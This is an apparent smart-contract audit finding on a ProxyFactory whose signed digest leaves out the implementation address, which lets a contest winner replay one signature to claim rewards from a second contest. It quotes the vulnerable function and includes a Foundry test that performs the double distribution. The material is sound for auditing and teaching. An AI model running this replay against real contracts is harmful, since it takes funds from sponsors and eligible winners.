A vulnerability exists that allows a malicious user to claim ineligible rewards if the same contestId
is reused for different implementations.
The vulnerability arises when the owner mistakenly sets up two contests with the same Organizer and contestId
, only changing the implementation
for different COMMISSION_FEE
. When both contests are closed, the winner of the first contest can use the generated signature to call the deployProxyAndDistributeBySignature
function with a different implementation
, distributing rewards on both contests with the same call data due to a vulnerability at Line 159. This allows the malicious winner to steal rewards in the second contest even if they are not in the winner list.
152: function deployProxyAndDistributeBySignature(
153: address organizer,
154: bytes32 contestId,
155: address implementation,
156: bytes calldata signature,
157: bytes calldata data
158: ) public returns (address) {
159: bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, data)));
160: if (ECDSA.recover(digest, signature) != organizer) revert ProxyFactory__InvalidSignature();
161: bytes32 salt = _calculateSalt(organizer, contestId, implementation);
162: if (saltToCloseTime[salt] == 0) revert ProxyFactory__ContestIsNotRegistered();
163: if (saltToCloseTime[salt] > block.timestamp) revert ProxyFactory__ContestIsNotClosed();
164: address proxy = _deployProxy(organizer, contestId, implementation);
165: _distribute(proxy, data);
166: return proxy;
167: }
function testSignatureIsUsedForMultipleRegisteredImplemetations() public {
vm.warp(12345);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);
bytes32 randomId = keccak256(abi.encode("Jason", "001"));
vm.startPrank(factoryAdmin);
proxyFactory.setContest(TEST_SIGNER, randomId, block.timestamp + 20 days, address(distributor));
Distributor distributor2 = new Distributor(address(proxyFactory), stadiumAddress);
proxyFactory.setContest(TEST_SIGNER, randomId, block.timestamp + 20 days, address(distributor2));
vm.stopPrank();
bytes32 salt1 = keccak256(abi.encode(TEST_SIGNER, randomId, address(distributor)));
address proxyAddress1 = proxyFactory.getProxyAddress(salt1, address(distributor));
bytes32 salt2 = keccak256(abi.encode(TEST_SIGNER, randomId, address(distributor2)));
address proxyAddress2 = proxyFactory.getProxyAddress(salt2, address(distributor2));
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxyAddress1, 10000 ether);
MockERC20(jpycv2Address).transfer(proxyAddress2, 10000 ether);
vm.stopPrank();
(bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASigner(TEST_SIGNER_KEY);
assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);
vm.warp(21 days);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributor), signature, sendingData
);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributor2), signature, sendingData
);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 19000 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 1000 ether);
}
Funds in the second contest can be lost to ineligible users.